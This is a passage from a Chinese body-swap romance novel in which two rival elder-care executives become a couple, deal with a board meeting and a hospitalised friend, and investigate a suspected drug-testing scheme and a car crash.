刚才在车上,他那样问她,是否早已经猜到从赵婧姝嘴里会说出些什么;还有只隔了一扇玻璃窗的阳台,他是否也想到了许父会说什么;以及她和周擎越单独的对话,有了上一次的经验,他们之间一定是发生过什么,他是否又能确定周擎越会和她说的话。
如此这些,他是不是早已经确定自己的感情彻底瞒不住?
可许暻不会满足于此。
她揪着他的衣领,怎样都不肯松开:“我想…我想听你说……”
随之而来的是祁聿再一次的深吻。
这一次他的吻不再带给她窒息的缺氧感,而是缱绻缠绵,他靠近、深探,又跟着退缩、撩拨。
来回反复,勾得人心痒痒。
许暻刚刚得到又被他钓着,主动往前,他又配合其中。
拉扯互钓,又让人想要更多。
最后祁聿终于不舍地松开她,两人的呼吸更加紊乱,许暻觉得嘴唇被吮得有轻微的痛感。
朦胧之间,那双认真的瞳眸越来越清晰。
她听见他说:“我的心,在你那里。”
话音刚落,他牵着她的手腕,属于他的手掌紧紧地按在了‘他’左胸的位置,祁聿接着说:“小暻,你感受到了吗?这是我的心,这是祁聿的心,它为你狂跳不止。”
许暻清晰地感受到那阵心跳越来越快。
他果然狡猾……
居然说这么肉麻的话。
许暻红着脸,装作不懂他的意思。
不听到他亲口的承认,她不肯罢休:“你的心现在确实在我这里,我们灵魂互换了。”
眸中水雾朦胧,她看到眼前的人神色稍凛,唇中的气息沉沉地吐出来:“许总明明知道我的意思。”
许暻弯了弯唇,仿佛回到了两人在演讲台上对峙的时候。
“祁总不说,我怎么知道?”
一来一往,都是不愿意认输的那一方。
掺杂着暧昧的视线在无形中缠出一条条丝线,缓缓交织。
这样的姿势不知道维持了多久。
祁聿绷着的双肩终于松懈,认输地笑笑:“许暻,我确实喜欢你,在很久之前。”
闻言,许暻也跟着笑出声:“我知道,赵婧姝说了,你七年前就喜欢我。”
七年这个时间徘徊在祁聿耳边的时候,他的眉心轻轻动了动,不知道想了些什么,他又嗯了声。
“和我在一起,小暻。”
“不要。”对于他的请求,许暻毫不犹豫拒绝。
祁聿微怔,有些不明白她的意思。
他们已经这样了,他也能看懂她的心甘情愿,可又为什么不答应和他在一起。
热潮渐渐褪去,许暻已经清醒了不少。
她不想因为一个突如其来的吻就潦草地确认关系,也不想还没有彻底弄清祁聿的感情就匆忙地答应。
比起仓促的恋爱,她更希望是认真负责地确认。
一场比较严肃的谈心局开幕,他们两人对立而坐。
祁聿大致能猜到许暻的顾虑,在她还没问之前,就已经清楚地解释。
他们彼此都清楚,两人认识的时间不短,同样的,关系不和的时间也不算短。
长期是对立的关系,喜欢从何滋生?这种状态下的喜欢又是不是能长久?
祁聿没有避讳,坦荡说出他们心照不宣的顾虑。
可后面的话是许暻没想到的。
以前被她吸引,是因为她身上的坚持。祁聿算是一个比较有想法、有冲劲的人,但偶尔遇上一些比较困难的事,他会选择放弃,或者另辟蹊径。
许暻则是跟他完全相反,许暻会迎难而上,会一直坚持下去。
人总是会被自己不曾拥有的东西吸引,说的就是祁聿。
可祁聿也有个坏毛病,就是太爱面子。
比起主动的表白,他更希望用行动来引诱许暻。
他享受于和许暻的一次次争执中,甚至在他看来那根本不叫争执,是他们关系升温的途径。
他以为自己享受那种激烈的碰撞,许暻也会享受。
他以为在事业上就算吵得再厉害,回到生活、感情里又是另一回事。
直到最后发现,一切都是他以为——
她不喜欢争吵式的关系,甚至为此越来越讨厌他。
所以因为这一次灵魂互换的契机,他才想换一种方法,他知道自己喜欢她,想和她在一起。
比起心心念念的结果,过程就算是他主动,好像也不再那么不能接受。
他一直觉得理念是他不能退让的原则,但互换之后,他切切实实地了解了她的理念,才发现这份原则原来是可以动摇的。
因为他的原则并不是完全正确。
许暻默默听完,觉得又好气又好笑。
突然觉得自己和他吵了这么多年就是个笑话。
这人居然喜欢她和他吵?
真是奇葩。
不过以许暻对他的了解,好像也能接受这个理由。
而且听完了他的这些话,许暻觉得自己好像已经拿捏了他的把柄,心里完全畅快了。
仿佛那场一直持续的‘战役’,她最后成了胜者。
脸颊升起一股热意,心口被粘稠的蜜糖填满,每一寸神
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经都甜滋滋的,多巴胺持续分泌。
好像没有比现在更开心的时候了。
唇边不知不觉的蔓延出笑意,祁聿陡然又问:“所以现在,愿意答应我吗?”
许暻仍然迟疑,‘嘶’了一声,下文还没出,祁聿已经搬出他埋藏已久的小心机。
“许总别忘了前天答应了我一个条件,我的条件就是许总做我的女朋友,那天你已经答应了,不准赖掉。”
许暻终于明白那天他不是想坑她。
只是祁聿有招可使,她也不吃素:“行啊,我可以做祁总的女朋友,不过祁总在我这里是试用男友,如果体验感不佳,我会退货的。”
她懒懒地往沙发上一靠,唇边漾开得逞的笑。
……
洗完澡躺在了床上,许暻仍觉得这一天太过奇妙。
明明昨晚还因为他整夜未眠,今天就已经确认关系。
虽然知道了祁聿喜欢了她七年,知道了他所有的心思,她是很震惊、很意外、很开心,但她还需要时间去适应。
所谓的试用男友,检验祁聿只是一方面,更多的,她也想检验她自己,她想确认自己对祁聿的感情究竟是一时上头,还是真的能往后走得长久。
周擎越的那句“你们走不长久”,确实或多或少地影响到了她。
考虑到未来是个未知数,许暻暂时没有和宋楹说这件事。
浓浓的困倦袭来,许暻想睡觉了。
……
隔天一早起来,桌上依然摆好了早餐和咖啡。
但许暻发现她的位置变了。
原本她的位置是在祁聿对面,现在被挪到了祁聿身边。
眼前的人抬眸望着她,等着她坐下。
许暻悄然对上他的视线,嘴角忍不住往上弯了一下,又迅速压平。
她一句话没说,直接坐下来。
像平常那样吃早餐,咀嚼的动作持续了好一会儿,她还是无法忽略那双像被胶水粘在她身上的视线。
“祁总,我好心提醒你,这是你自己的身体,看久了小心爱上的是你自己。”
许暻才意识到祁聿的视线会如此炽热。
她甚至有种错觉,是她以前没看懂他真实的状态,只看到了表象。
祁聿浑不在意,视线不移:“没关系,我有的是想象力。”
“……有想象力,也应该好好吃饭。”
“吃着呢,不影响。”
“……”
吃到最后,许暻快受不住了,她感觉祁聿要把她烧死了。
给自己猛地灌了口咖啡,刚转过头,瞳孔也跟着缩了一下——
祁聿凑近了些,两人之间只剩半个拳头的距离。
“你……”
“我们早点换回来好不好?”
他把灵魂里自带的柔情注入原本属于她的眸中,再带着冲劲传递到她的目光里。
许暻觉得停留在这具身体里属于她自己的灵魂被轻轻撞了一下,然后带动着这具身体做出反应。
恍然的一瞬,她惊觉是自己在心动。
是许暻,在因为祁聿悸动。
一阵热流从身上滚过,她稍稍紧张道:“什么时候换回来又不是我们能决定的,再说了,到底要怎么才能换回来也不知道啊。”
祁聿沉默了片刻,又匆匆收回视线。
他重新坐好,抿了口他钟爱的黑咖啡,不动声色换了话题:“去了公司直接找刘助,他会去联系陈律,等和陈律那边沟通过之后,我再找人去联系监狱那边,我们一起去监狱重见那位赵先生。”
许暻知道他昨天拿手机联系过刘助了。
祁聿办的事,她还算放心:“好。”
许暻的咖啡也喝完了,才打算走,祁聿又不忘补充一句:“拜托给许总的整改方案,我还等着呢。”
“还有,许总别忘了在工作之余想想我这个新上任的‘试用男友’。”
他的话轻飘飘地灌入,激起心口的涟漪。
许暻羞赧地‘嘁’了一声,边换鞋边应他:“知道了!”
44. 焰火+3
刘助照例汇报工作日程,上午祁聿的工作量有些多,有几个重要的会需要参加。
会议的资料刘助已经提前准备好,是一些新的科技产品的研发。
许暻已经习惯了。
至少原本持有的偏见小了些。
汇报完之后,刘助说陈律那边晚些会给他回复,等确定好之后,他会直接带人来见她。
借着这会还算空档的时间,许暻重新拿出祁聿给她的整改资料。
再看已经是不同的心境。
那天她觉得灵魂互换是最糟糕的事,此刻却认为灵魂互换好像也还不错。
每个条目她都仔细看过,用自己的专业和经验在祁聿的基础上稍加修改。
这种感觉——
非常棒。
许暻突然想起之前宋楹说的一句话:“不如就趁这个机会感受一下科技养老和传统养老的优缺点,没有永恒的对手,合作才能共赢!”
合作才能共赢。
她是最熟悉传统养老的人,祁聿是最熟悉科技养老的人。
如果他们一起做一个汇总,去探讨人文与科技是否能互相融合、互相补短,最后建造一个全新的、成熟的养老模式,或许真能开辟新纪元呢?
毕竟她是能接受同时发展人文的颐安社区的。
只不过桐馨和颐安目前的受众已经基本固定,不适合大规模的整改。
那她和祁聿是不是可以考虑一下合作?
一份未定型的蓝图已经慢慢在脑海中铺陈开来,许暻还没来得及深想,思绪已经被手机铃声打断。
是宋楹的电话。
张奶奶的药检报告出来了。
结果不算太好,宋楹说张奶奶的血液里有一种还没有代谢完的特殊成分,可临床上并没有检测到与之相符的药物。
目前只提取出这种成分培养做比对,更详细的结果至少还要等一个星期。
“这种情况,很可能是奶奶之前被当作过试验品,往体内注射了某种药物。”宋楹说。
张奶奶身上残留的针孔、以及大腿上的印痕,都是佐证。
只是她们仍然毫无头绪。
张奶奶从怡康出来之后消失了半年,就算她真的被人注射了某种药物,她们也不知道到底发生在张奶奶在怡康的期间还是她消失的半年内。
许暻又想到上一次社区的偷拍事件。
“会不会是张启林?他上次去社区偷拍张奶奶,还黑了监控,他之前就是怡康的负责人,张奶奶之前也是在怡康养老,这样说的话也算合理。”
而爷爷或许是发现了张启林把老人当试验品?
所以张启林才会雇人制造那起车祸?
许暻不想阴谋论,只是最近发生的事都太过离奇,又跟爷爷奶奶相关。
宋楹沉吟片刻,又道:“确实有可能,不过小暻,这些只是我们猜测,目前还是低调一些,而且一定要保护好张奶奶,上次你们带奶奶过来检查的事,没有很多人知道吧?”
“除了我和祁聿、王阿姨,还有师兄,没有其他人知道。”
“那就好。”宋楹松了口气。
没等许暻接着开口,她又突然问:“你和祁聿怎么样了?昨晚他有没有跟你表白啊?”
许暻完全没想到宋楹会这么问。
大脑思考的能力停滞一瞬,又倏然回神。许暻好像意识到了什么,昨晚十字路口的几帧画面窜过,她质问电话那头的人:“你跟他说什么了?”
宋楹笑了声,对于这个问题,她像是已经了然昨晚的情况,也没想过瞒着许暻,全都吐了出来。
昨晚祁聿在她的车上,突然问她,许暻这几年有没有喜欢的人。
她虽然秉持着助攻的原则,但好闺蜜的心思,她也不能轻易跟当事人透露,于是回答得十分模糊:“这个啊,小暻喜欢的人……你问这个是打算干点什么?”
祁聿沉默着,在犹豫要不要说。
然而宋楹又把话锋对向了他,故作调侃的态度:“今晚你倒是能见到你的旧情人了哈?”
“什么旧情人?”祁聿不解转头。
宋楹哼了一声,以为他在装:“赵婧姝啊,你俩不是彼此的初恋吗?”
“我怎么不知道?”祁聿的眉头拧紧,疑惑开口。
车子恰好停在了路口,宋楹犹疑地看过去,打量祁聿的真实反应。
好一会儿,她才勉强确定祁聿没说谎:“真的假的?当时赵婧姝在班里说的,说什么你们心意相通,但是因为她快要出国,你俩才没能真正在一起。”
祁聿又沉默了很久,最后直接坦白:
“假的,我当初拒绝她了,我喜欢的不是她。”
宋楹总是能很快捕捉到话里的重点。
她也不管赵婧姝说的到底是不是假话,继续追问:“那你喜欢的另有其人?谁啊?”
祁聿一转过去,对上宋楹的视线,明显感觉到她话里有话。
“宋医生何必揣着答案问问题?”
她的第一句话就带了明显的试探,祁聿虽然好面子,但是也不迟钝。
祁聿一上钩,宋楹明显兴奋起来:“真的假的?你真喜欢小暻?”
宋楹对祁聿的感情一向只有猜测,毕竟一直有他和赵婧姝的传言在。可她又实在是觉得这么些年他俩都没能分开断了联系,一定是两个人都想继续维持这段关系,哪怕是对手的关系。
“不是,那你既然喜欢小暻,怎么还能那样气她?祁总,你这态度完全就不端正啊!”
宋楹是不懂吵吵闹闹的感情。
最后好一番解释,祁聿才算是在宋楹这里做了张好牌。
他又重新问了最开始的问题。
宋楹依旧没给他明确回答,只说让他不要犹豫,赶紧去表白,否则到最后真就可能抓不到许暻了。
这番话一出,祁聿心里大概有了底。
许暻才算是完完全全明白,为什么昨天祁聿会那么有把握地过来强吻她,甚至后来也不问她任何问题,一味地让她答应做他女朋友。
宋楹都问到了这里,她也瞒不下去了,只好老实交代。
她又打算接着八卦,但电话那头突然一阵轰响,好像是来了新病人,宋楹匆忙挂了电话,许暻的会议也差不多到了时间。
……
上午的工作实在太多,许暻连轴转了好几个小时,一刻都没停过。
回到办公室,午休都快结束。
午饭还没吃,好在刘助提前帮她订好了餐。才坐下来,刚准备吃饭,又看到了手机上几十条的未知消息和未接来电。
手机一直放在办公室,她没机会看。
是祁聿和宋楹的消息,电话全都是宋楹打的。
她先看了点开了宋楹的聊天框。
只是一眼,许暻就像是掉进了浓稠的泥浆中,呼吸停滞了好几秒。
周围的声音也被泥浆淹没,眼前的消息跟着出现重影,许暻拧紧了眉,眼眸瞪大,想尽力看清楚些框里的文字。
「小暻,他回来了……」
「是游奕,他在医院,他在我们科室。」
「他晕倒了,他受伤了……」
「下班你来接我好不好?我想回去……」
游奕?!
思绪的枝段陡然被错了节,许暻来不及多想,手里的筷子已经被扔下。
她拿着钥匙冲出办公室,才按下电梯,却迎面碰上过来找‘祁聿’的李董。
“小祁?正好,我有事要跟你说,咱们去你办公室聊。”
许暻本想拒绝,但考虑到这是祁聿的工作,加上李董上一次对她的约谈,拒绝的话到了嘴边,又被吞了回去。
犹疑片刻,许暻借口说自己需要回一个紧急电话,两分钟就好,让李董先
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进去。
等李董一走,她又赶紧跑到角落里去给祁聿打电话。
周一下午桐馨那边只有按摩的事,只能让周擎越代劳一下了。
电话接通,祁聿还没来得及说什么,许暻就匆忙开口:“祁聿,你下午去一趟楹楹那里,游奕不知道怎么的突然回来了!还在楹楹他们科室住院,我才看到消息,楹楹的状态不是很好,你帮我去看看什么情况,我这边被李董拦下来了走不开!”
电话那头的人虽然沉默,却隐隐给了许暻几分安全感。
祁聿冷静地应了声:“好,我知道了,我安排好这边就过去。”
他一句多余的话都没问。
短暂的电话结束。
许暻终于松了口气。
迅速回到办公室,李董正在沙发上等她。
“李董。”许暻缓缓走近,情绪已经在进门之前平复。
李董仍然维持着一贯而来的亲切感,眉眼和唇部微微弯起。
他注意到了桌上还没动的餐盒,关切地问了句:“还没吃饭?”
许暻在他的示意下坐到了沙发上,客气回应:“上午比较忙,不碍事。”
李董‘呵呵’平笑两声,说工作虽然重要,但还是要注意身体。
许暻明白是客套话,悄然绕过,等着后话。
“我听说了社区前两天的事,倒是多亏了你。”
这事这么快被李董知道,也在她的意料中。
毕竟颐安内智能监控随处可见。
许暻淡淡点头:“社区的事情是我份内的事,出了问题,也有我的一部分责任。”
话音刚落,她听到李董从鼻腔里挤出一声气音,笑容未减:“你桌上的方案我看到了,有整改的想法?”
心口稍稍一紧,许暻被打了个措手不及,她和祁聿还没商量好,方案也没有定版。
她缓慢抬眸,对上李董的视线,却难以猜透他的心思。
保险起见,她谨慎回答:“李董,为了避免之后再发生类似的情况,我需要有应对策略。”
对方的视线在她身上停留片刻,许暻以为是他发怒的前奏,不过很快,她又听见他笑了声:“看来你还是被桐馨的小丫头影响着?”
“不过也好,既然出了问题,咱们确实得想办法解决。”
许暻屏起来的气又缓缓松懈下去。
李董抬手看了眼时间,接着道:“四点之前,这份方案能出现在我的桌上吗?”
许暻的神绪有一瞬的短路,但下一秒已经重新连好,她迅速会意:“能!”
李董满意笑笑,即刻起身,说他本就是想来问问‘他’对社区前两天的事是怎么个想法,不过提前看到了桌上的方案,他还算赞成。
“好了,快去吃饭吧,我可看着时间等你啊。”
……
许暻下午的时间也算是被完全占用。
她匆忙扒了几口饭,又赶快继续改写方案。
无人打搅的两个小时内,桌上的咖啡已经见底,键盘敲动的声音几乎没有停止过。
最后一口咖啡下肚,方案也终于敲完了最后一个标点符号。
再三确认之后,许暻下载了文档先发给祁聿。
「李董看到了这份方案,四点以前要去找他,我打算直接说明整改的事,你检查一下这份方案可不可行。」
文档显示已接收,那头的人很快给了回复。
「我相信你。」
短短的四个字冲入眼底,隔着屏幕,许暻都能感受到来自他的炽热。
无形中给了她支撑的力量,许暻的动作十分干脆,从保存到打印,一份像模像样的文件已经完成。
她看了眼时间——
三点四十。
又给祁聿回了条消息过去,她拿着文件准备上楼。
「帮我照顾好楹楹,我找完李董就过去。」
45. 焰火+4
干净敞亮的办公室里,许暻站在桌前,等着李董看完文件。
她的视线悄悄在他身上游移,拢在小腹的两只手紧了紧。
整个空间里安静得只剩下纸张翻页的声音。
“还真是接触了人文的手笔。”沉稳浑厚的声音平缓输出。
许暻做了两下吞咽的动作,等着下文。
“这句话我倒是认可。”李董终于抬起头,指腹落在祁聿写在方案里的一句话。
「比起看得见的高风险,平衡与长久才是初心。」
一个公司的发展固然是为了利益,科技养老也确实能在短时间内抓住一大批利益。
因为社区面向的人群是养老金相对较高的、对科技的接受度更高的老人们。
可科技带来的新鲜感是有限的,风险也相对较高。
此前或许靠实力,或许靠运气,社区的运营十分到位。
然而现在风险已经摆在这里,出现了问题,他们需要想的是如何解决问题。
没有一个商人会只专注于眼前的利益而忽略长远的利益。
李董更是如此。
他能看中祁聿,也是看到了祁聿身上能够被他利用的长远的价值。
“所以您的意思是?”许暻问。
李董合上了文件,又看了眼时间,满意笑道:“能过关,回去找人做评估,重新估算商业价值,做好了组织董事会开一次会,问问大家的意见。”
许暻稍稍意外,没想到会这么容易通过。
上一次的约谈,她一直觉得这位李董是个笑面虎,是个跟祁聿一样喜欢把科技推上天的老顽固。
看着合上的电梯门,反光的镜面映出祁聿的模样,她才嗤笑一声——
是她的刻板印象太重太重。
她自己何尝不是把人文推上天?
人本就会对自己热爱的东西加上一层滤镜,不认输的背后,是他们还没看到彼此的优点。
回办公室之后,许暻把方案交给了刘助,之后的事情交给了他安排。
她没忘宋楹那边,披了外套赶紧去了医院。
……
祁聿作为游奕的‘家属’在病床旁守了几个小时,宋楹还在办公室忙着收新病人。
许暻提前联系过祁聿,直接去了病房。
重新见到游奕,她以为她会万分嫌恶。
然而在看清床上的人的模样之后,许暻差点没认出他来。
男人尚在昏迷当中,头颅包裹着层层纱布,遮盖了它原本的模样。
与白色纱布形成醒目对比的,是游奕的那张脸。
完全不同于记忆里游奕那副透着十足生命力的模样,病床上的他称得上死气沉沉。
哪怕床头的心电监护仪显示他的心跳正常,也依旧掩盖不了从他身上透出来的那股消沉气息。
还有他的肤色,印象里的游奕是让许多人羡慕的白皙肤色,现在却从头到脚都成了小麦色,脸部和双臂的肤色尤其深。
唇周冒出了杂乱的胡茬,嘴唇干裂到冒出血丝,整张脸看上去邋里邋遢的。
还有搭在身侧的双手,粗粝的指腹磨起了厚厚的茧,指纹的夹缝里还留着墨色的不明物。
完全是一副不修边幅的模样。
然而记忆里,最爱干净、最在乎形象的人就是游奕。
许暻整个身体僵直在原地,迟迟没有往前。
一直守在床旁的祁聿站起身朝她走过来,双手自然绕到她身后,借了股力推着她慢慢往前走。
等坐到了结实的凳子上,许暻才感觉全身紧绷的力瞬间松懈。她抿着唇,心口莫名盘起一团堵闷的气,上不来,也下不去。
祁聿的手还搭在她的肩上,声音沉沉的,他解释:“我来的时候,他的同事和老板还在这里,我大致了解了一下,他应该是一个月前回来的,在怡康附近的一家汽车修理厂工作。”
汽车修理厂……
不该是这样的。
游奕当年研究生在读,虽然因为一走了之没能毕业,可他父母都在瑞士有深厚的家底。
他无论如何也不该是回来在修理厂工作的。
肩上的两只手以浅慢的频率捏着,许暻盯着床上的人,嘴唇紧抿。
祁聿接着说:“听说他就住在那附近,租了一间比较老的小公寓,他同事说他不爱说话,再多的消息他们也不知道了,一周前他工作的状态不太对,拿着手机看了半天,可能是情绪一下激动了,刚站起来就吐了一地,晕过去了,他同事叫的救护车,之前在ICU监护,下了引流管今天转到病房来的,检测过他现在是昏睡状态,其他一切正常。”
“他同事和老板人不错,先垫付了医药费,我已经先帮他还了钱。”
“我问过他的管床医生,说是因为他脑部有陈旧伤,血管没恢复好,再加上他同事说他经常抽烟,情绪一激动,就成了蛛网膜下腔出血。”
“抽烟?!陈旧伤?”
游奕以前说自己这辈子都不会沾烟酒。
饱含信息量的话语让许暻难以接受,肩上的力道也让她很快会意祁聿同样没能接受。
他们是五六年的同学和朋友,一别五年之后再见到,怎么也没想到他会变成了这副模样。
祁聿说陈旧伤在他的后脑勺,应该是处理不得当,有一块很明显的疤痕,至于怎么弄的、什么时候弄的,只有他自己知道。
“楹楹她……”
许暻又担心道。
“她看上去没事,收完病人就过来。”
看上去没事……
许暻的心往下沉了沉,那一团气涵盖的范围更广,一呼一吸间,眼角微微酸涩。
她覆上祁聿的手起了身,不愿再去看病床上的人,转身去了窗台边。
窗外新鲜冰凉的空气扑入鼻尖,内里稍微好受一些,许暻想要先聊些别的:“方案李董那边过关了。”
“我知道,我相信你。”依然是熟悉又坚定的回答。
有那么一瞬间,许暻好像真的感受到了祁聿累积多年的喜欢。好像他早已相中她,只是他曾面对原则与她的选择难题,迷失了一阵,现在终于找到了答案一般。
熟悉的安全感缓缓攀升,祁聿突然唤了她一声。
许暻嗯了一声,稍微侧头,等着他继续说。
但祁聿含着几分犹豫,话语在嘴边打转,许暻本想催促,却被门外的动静打断。
宋楹来了。
她已经脱下白大褂,换好了自己的衣服。
眼角冒着轻微的红血丝,眼皮微微发肿,她没说话,就那么盯着床上的人。
祁聿知道的,宋楹也知道得差不多了。
许暻试探性地往宋楹身边走:“楹楹……”
或许是因为熟悉地昵称,或许是因为她已经坚持到最后,或许是因为床上已经大变模样的人。
仿佛绷着的弦在一瞬间断开,宋楹直接扑上来抱住许暻。
占据在祁聿的身体里,许暻要比宋楹高出许多,不过能把她环抱在怀中。
不少片刻,胸口已经传来一股温暖的热意,带着些许潮湿。
许暻在这一刻有些庆幸自己和祁聿互换,可以给宋楹更有安全感的依靠。
沉闷的哭腔在怀中钝钝发声,带着无力的嘶哑:“他怎么会变成这个样子……他为什么会变成这个样子……我宁可他永远待在瑞士,永远都不要回来……”
病房里的气氛瞬间沉重起来,许暻和祁聿无声对望,又同时低头。
许暻也没有任何办法,只能不停抚慰怀中的人。
他们也心存疑惑,他们也不知道游奕为什么回来,他们也不知道他为什么会变成这样。
一切的一切,只能等他醒
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来。
现在情绪宣泄的途径,或许只有让宋楹好好哭一场。
频率固定的心电监护仪的声响混杂在悲怅的哭声里,窗外的亮光渐渐消退,像是一滴水墨落进了云层中,大片绵白已经染上淡淡的黑。
宋楹最后是哭累了。
几人留在病房里,等着护士过来换了新的输液,确认床上的人没什么异常之后,祁聿才说要送宋楹回家。
……
许暻和祁聿担心宋楹,于是这晚没有回祁聿那边,直接留在了许暻的公寓。
两人好不容易哄着宋楹吃了点东西,原本许暻打算留在那边陪她的,但宋楹说想自己一个人。
重新回到自己的公寓,许暻放松了不少。
祁聿不是第一次来,自己主动找了拖鞋换。
两人的情绪都不是很高,许暻只想赶快洗了澡进被窝。
不过她这没有男式衣服,祁聿又叫跑腿买了几套新的衣服过来,另外,他还专门买了新的洗漱用品。
“许总,以后家里的位置记得给我留一半。”
祁聿十分自然且毫无羞臊道。
正在洗漱的许暻差点没把漱口水喷在他脸上,情绪被他拉高了些,她即刻反驳:“祁总还在试用期呢,着什么急?”
祁聿倚在门边,看着洗漱台前的人熟练地用各种护肤品往‘他’脸上抹,又凑上前去:“反正我们公司的试用期员工基本都转正了。”
“还有,这护肤品应该往这张脸上抹。”
他就那么扬着下巴,等着她的动作。
“……”
许暻突然觉得这人好不要脸。
见她半天不动,祁聿又歪了歪头,轻眯的眼睛睁开一只朝她挤了挤:“小暻,我脸都摆这儿了,快点的呀。”
许暻最后挤了两泵乳液在手心,直接往他脸上拍过去:“……要不你还是走回你的冷淡路线吧?”
……
两人在厕所打闹了一阵,准备上床时,许暻才猛然惊觉——
她家只有一个卧室。
本来是两个卧室的,但她觉得一个人住只要一间就够,另一间卧室就被改造成了小影房。
那里头只放了一个懒人沙发。
她也没有多的被子。
“那就一起睡。”祁聿毫不犹豫道。
许暻下意识拦住他,脸上明显的摆着拒绝。
他们昨天才确认关系,甚至祁聿还在试用期,睡一块算怎么回事?
祁聿撅了撅嘴,似有些不满:“不要强调试用这两个字好不好?”
许暻还听出了一丝委屈。
嘴角有上扬的趋势,被她用力压了下去,手指捏了捏鼻尖。
“我们现在这个样子,又不会发生什么,单纯的睡觉而已。”
祁聿相当直接。
许暻也跟着心软了。
等躺到了床上,许暻隐隐后悔。
还是好奇怪。
虽然他们在彼此的身体里,虽然她觉得两人已经是彼此最亲密的人,虽然他们现在已经确认关系。
她就是觉得别扭。
不过祁聿倒是很有分寸,没有越界的行为,甚至察觉到了她的紧张,主动引起话题去转移她的注意力。
“给你发的消息看了吗?张启林的新动向。”
祁聿一提,许暻很快想到了那十几条未读消息,她猛地坐起身,重新翻开手机。
当时看到宋楹的消息之后她脑子里全是宋楹和游奕的事,自然而然也就忽略了祁聿前面发的内容。
她一边看,祁聿又一边复述。
他朋友告诉他,今天他们老板说张启林离职了,以后都不会去上班了。但他去打听了,张启林并没有递交辞职信,在上周五还说这周要来公司跟进一个新的制药项目。
“所以他被迫离职?”许暻不解。
46. 焰火+5
“不好说,我明天再联系一下看能不能找到他住的地方,如果真的是他买通的肇事者,也不能让他跑了。”
许暻又回想起那天晚上的梦。
烧焦的味道仿佛已经萦绕在鼻尖,混杂着爷爷奶奶身上的血腥味,救护车急迫的声音跟着在耳边响起,许暻条件反射地捂住了耳朵。
身体猛地激灵一下,外界的噪音被手掌挡住,许暻听到她的呼吸声越来越急、越来越快。
身旁的祁聿也跟着一抖。
下一秒,紧绷着的腹部被熟悉的臂弯环抱起来,他的声音被挡住了些,音量很小,但许暻还是听清了:“想到什么了?”
那两只手试探性上移,最后停在她的胳膊上。
许暻的双眉拧得很深,眼眸慌乱地在眼眶里转了几个来回,捂耳的力道却小了一些。
胳膊被祁聿慢慢拉了下来。
外界的声音又重新清晰,她稍许哽咽,带动着‘祁聿’的喉结滚了滚,轻轻答:“想到了爷爷奶奶的车祸……”
原本已经快要接受是意外的事实突然变了可能,再加上那晚的梦,当时的记忆又轻易被想起,伴随着的还有当时浓烈的悲伤和抗拒。
胳膊上的手轻轻捏了两下,许暻定睛转神,对上祁聿的视线。
她看到那人沉着眸,静谧的如曜石般的瞳仁里藏着微亮的火星子。
有那么一瞬,她想到了一年前正式接管养老院的自己。
那个时候她伏在洗漱池边,镜子里是她刚哭过的脸,眼里的红血丝像是要侵占整颗眼球。她却干脆地抹掉眼泪,坚定地告诉自己:她要把桐馨继续经营下去,她一定要让桐馨成为爷爷奶奶想要的桐馨。
她清晰地听见祁聿说:“至少,我们一定能弄清楚当初的真相。”
他的语气很轻、语速很慢。
许暻却突然觉得无比安心。
情绪跟着平定,她好像有些明白她为什么对祁聿有好感了——
是因为他的冷静、自信和靠谱。
他的‘转性’好像完全成功了,以前让她讨厌的性格,现在竟全成了她确认自己喜欢他的缘由。
喜欢和讨厌,原来只有一念之差。
脑海中停留的画面渐渐褪去了那层阴影色彩,许暻嗯了一声。
祁聿说得对,他们肯定能弄清真相。
如果是意外,那场车祸就是他们必须要面对的事实。
如果不是,他们也一定不能让坏人逍遥法外。
她相信祁聿,也相信自己。
许暻重新躺下来,却没什么睡意。
拿着祁聿的手机看了会晚间新闻,不过半刻,她便嗅到了一丝犹豫的气息。
侧头看过去,她才注意到祁聿的视线一直落在她身上。
眼眸上下扫了两圈,她不知道他在卖什么关子:“你有什么话想跟我说?”
祁聿收回了视线,一只手懒懒地撑在枕后:“没什么,只是在想什么时候可以换回来。”
许暻也在愁这个问题,她也想早些换回来,奈何这些天都不下暴雨。
虽说她和祁聿灵魂互换是有一点小小的好处,但她还是想不通这么玄幻的事情怎么就发生在他们俩身上了。
怎么就偏偏是他们呢?
她退出了手机上晚间新闻的页面,正欲附和,然而躺在她身边的人又悠悠开口:“不然这样谈恋爱都觉得不太真实,还是想在自己的身体里看看我的女朋友。”
“……”
许暻突然觉得,他不转性其实也挺好的。
她对肉麻的话完全没什么招架力,一听全身就起鸡皮疙瘩,连带着脸上也滚起了尴尬的热意。
手指在屏幕上随便点开了一个软件,想给自己转移注意力,她收回视线,故意呛他:“您不是说您有的是想象力吗?”
这人却更不讲武德,一个蛄蛹,手臂直接从背后抱住了她。
被窝里,两人的身体紧紧贴在一起。
“有想象力是一回事,想真实地看到女朋友是另一回事。”
许暻的脸在祁聿抱过来的那一刻便已经滚烫如火,这团火沿着血管烧到了后脖颈。
她下意识地推开他,然而她忘了,她没有哪一次能推开过他。
“祁聿,你这是耍赖!松开!”
祁聿却拒不承认:“我什么时候耍赖了?我只是想抱着女朋友睡觉而已。”
许暻:“你还只是试用!”
祁聿:“没关系,你在我这里一直都是正式的。”
许暻:“你就是耍赖!”
祁聿:“那就当我耍赖吧,我这人脸皮也能厚一厚。”
许暻:“……”
许暻越是挣扎,他就抱得越紧,最后许暻索性也放弃挣扎,另辟蹊径。
目光恰好捕捉到祁聿的手机屏幕,她才发现不小心又点进了他双重加密的备忘录里。
许暻拿着手机侧过身,把屏幕怼近祁聿跟前。
不过她还没开口,腰上的束缚突然消失,手机也被他抢了过去。
许暻没料到这招这么管用,见祁聿明显的躲闪,她忽然起了兴趣。
“这么慌张,还是双重密码,祁总,你在里面藏了什么见不得人的东西?”
“你知道这是双重密码?你打开过?”
他的语气里透着一丝少有的慌张。
许暻更加好奇。
心底生出一抹狡黠,她想逗逗他:“是。”
祁聿下意识的话语已经漫到嘴边,却在陡然对上她的视线之后松了口气——
他看出来许暻在骗他。
“这么担心我看到里面的东西?不过商业机密也不应该放在备忘录里面吧?”
许暻本就有了被看穿的心理打算,不过看到祁聿这么护着,她还真有邪想知道这里面藏着什么秘密。
祁聿退出页面,关了手机,重新躺下。
不过这一次他安分了许多,双手伏在腰腹,收回了黏在许暻那里的视线,直直地望着天花板,稍显粗略地带过:“不是商业机密,也不是什么重要的事,不用在意这个。”
他不说,许暻没有追问的打算。
这本就是他的秘密。
等平息之后,粘人的又换成了许暻。
她靠过去,突然问起之前祁聿以她的身份送周擎越回家的时候到底发生了什么。
私房夜话,总是聊感情问题的好时候。
之前她和宋楹偶尔住一起的时候总能聊很久。
